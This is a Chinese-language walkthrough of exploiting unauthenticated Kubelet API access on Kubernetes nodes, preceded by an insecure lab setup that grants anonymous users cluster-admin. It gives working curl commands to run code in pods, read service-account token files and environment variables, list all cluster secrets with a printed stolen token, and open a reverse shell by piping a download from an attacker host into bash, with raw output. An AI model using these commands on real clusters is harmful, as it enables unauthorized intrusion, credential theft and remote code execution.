漏洞描述

K8s Node对外开启10250(Kubelet API)和10255端口(readonly API),默认情况下kubelet监听的10250端口没有进行任何认证鉴权,攻击者可以通过利用该设计缺陷来创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机

环境搭建

Step 1:修改配置文件开启匿名访问:

sudo vi /var/lib/kubelet/config.yaml

Step 2:重载服务

systemctl restart kubelet.servicesystemctl status kubelet

之后使用浏览器访问发现依旧不行

Step 3:最后直接system:anonymous绑定到cluster-admin角色中并起个cluster-system:anonymous名字

kubectl create clusterrolebinding cluster-system:anonymous --clusterrole=cluster-admin --user=system:anonymous

Step 4:之后再次访问之

漏洞利用

Step 1:获得token

首先需要确定node是否存在未授权问题,如果访问以下地址并返回如下数据表示可以利用

https://ip:10250/pods

Step 2:基础信息确定

从上述结果中确定namespace、pod_name、container_name,关于查找方法可以通过检索selfLink,此时会发现再返回的数据中会有一个类似"/api/v1/namespaces/kube-system/pods/kube-flannel-ds-xwk2t"的值,其中namespaces就是后面的kube-system,pods就是后面的kube-flannel-ds-xwk2t,如果执行失败可以看看phase的状态是不是fail,如果是的话就换一个phase是running的试试

Step 3:执行命令

可以通过一下命令再在对应的容器里执行命令:

#格式说明

curl -k -XPOST "https://k8s-node-1:10250/run/%namespace%/%pod_name%/%container_name%" -d "cmd=ls -la /"    

#执行实例

curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=ls -la /"

Step 4:检索Token信息

默认情况下Token保存在/var/run/secrets/kubernetes.io/serviceaccount/token

curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

如果token不在/var/run/secrets/kubernetes.io/serviceaccount/token,那么可以通过mount命令来查找

curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=mount"

Step 5:获得master访问权

接下来可以尝试获得master(api server)的访问权限,默认情况下api server开放的端口为6443,所以可以通过扫描同个网段开放6443的主机来挨个尝试,除了这种方法还可以尝试执行env命令来查看是否有api server的地址或者其他敏感信息:

curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=env"

curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=netstat -ntlp"

如果提示Error from server (Forbidden): secrets is forbidden: User “" cannot list resource "secrets" in API则说明权限不够

kubectl --insecure-skip-tls-verify=true --server="https://192.168.17.144:6443" --token="eyJhbGciOiJSUzI1NiIsImtpZCI6Iml3OVRtaVlnREpPQ0h2ZlUwSDBleFlIc29qcXgtTmtaUFN4WDk4NjZkV1EifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJmbGFubmVsLXRva2VuLWhwbGJ0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImZsYW5uZWwiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIwMmJmZmUzZi0wNGE5LTQ2MTItYjRjYy1mYjNkNTdiNjZiZDkiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Zmxhbm5lbCJ9.oGnRE55P1Dv9W4-Gs8UCp5M1_vdL2flZ0WYJtr8HTMgb2Si6wb-N_ltS1HRi_Q9VHsS_CsjHw3ZqA-jQvbz-RENNLDEL20nUt9J51IyqeGPC3sKAd3fVOZmViIVrYsQSewvPHwPq7qvFnIj1aR-pFYrB47iohej2XvS4aTNZMdpxhL0jCBa3o5SFZg1oNR1rzJd1hhSaCNAbQ7_JMdTuCy4aU0zykVd0GoUF9gXRD7Avx9Y25QGCBTdPgL11fzjcGiG93KtfE4QASiLemnxDF1TPeob9MERFbT6mq-CQ7243U6HjF6Lx-1NfLk52qaXp3hbpGySNudUz_i_Q-KWIgw" get secrets --all-namespaces -o json

Step 6:获取node里pod的shell

攻击者可以本地搭建web服务,通过在node中的pod里执行反弹语句来获得node的shell,假定这里的192.168.17.161:80是攻击者web服务,之后写入以下反弹shell指令,之后启动一个简易的HTTP服务:

在本地浏览器中进行简单测试:

之后在攻击主机上监听:

之后进行反弹shell操作:

curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.17.144:10250/exec/kube-system/kube-flannel-ds-xwk2t/kube-flannel?command=/bin/bash&command=-c&command=curl+192.168.17.161:80+|+bash&input=1&output=1&tty=1"

发现并不行,之后尝试下面的语句(主要换了sh)

curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.17.144:10250/exec/kube-system/kube-flannel-ds-xwk2t/kube-flannel?command=/bin/sh&command=-c&command=curl+192.168.17.161+|+bash&input=1&output=1&tty=1"

发现也为成功,可能是笔者这里的环境问题所致,下面给出一个成功的截图:

之后会再执行端返回用于查看执行结果的链接地址:

[root@localhost ~]# curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.4.68:10250/exec/ingress-nginx/nginx-ingress-controller-6f5cbc5444-nkdg6/nginx-ingress-controller?command=/bin/bash&command=-c&command=curl+192.168.84.158:88+|+bash&input=1&output=1&tty=1"* About to connect() to 192.168.4.68 port 10250 (#0)*   Trying 192.168.4.68...* Connected to 192.168.4.68 (192.168.4.68) port 10250 (#0)* Initializing NSS with certpath: sql:/etc/pki/nssdb* skipping SSL peer certificate verification* SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256* Server certificate:*   subject: CN=192.168.4.68@1544518989*   start date: 12月 11 09:03:09 2018 GMT*   expire date: 12月 11 09:03:09 2019 GMT*   common name: 192.168.4.68@1544518989*   issuer: CN=192.168.4.68@1544518989> POST /exec/ingress-nginx/nginx-ingress-controller-6f5cbc5444-nkdg6/nginx-ingress-controller?command=/bin/bash&command=-c&command=curl+192.168.84.158:88+|+bash&input=1&output=1&tty=1 HTTP/1.1> User-Agent: curl/7.29.0> Host: 192.168.4.68:10250> Accept: */*> X-Stream-Protocol-Version: v2.channel.k8s.io> X-Stream-Protocol-Version: channel.k8s.io> < HTTP/1.1 302 Found< Location: /cri/exec/zEKYcaZt              #查看执行结果< Date: Wed, 07 Aug 2019 06:01:42 GMT< Content-Length: 0< Content-Type: text/plain; charset=utf-8< * Connection #0 to host 192.168.4.68 left intact[root@localhost ~]#

执行如下语句查看命令执行结果

[root@localhost ~]# docker run -it --rm joshgubler/wscat -c "https://192.168.4.68:10250/cri/exec/zEKYcaZt" --no-check

Step 7:连接K8s Master地址

此时我们是在Node的Pod里,在反弹的Shell里查看Master的内部IP

尝试连接K8s Master地址

[root@localhost ~]# TOKEN_VALUE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

[root@localhost ~]# curl -k --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt -H  "Authorization: Bearer $TOKEN_VALUE" https://10.0.0.1:443/api/v1/pods

小结

攻击者可以借助Kubelet端口未授权漏洞获取大量的敏感信息并实现在Pod中执行命令的目的,若要进行后渗透利用还需要获取到有效的Token

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。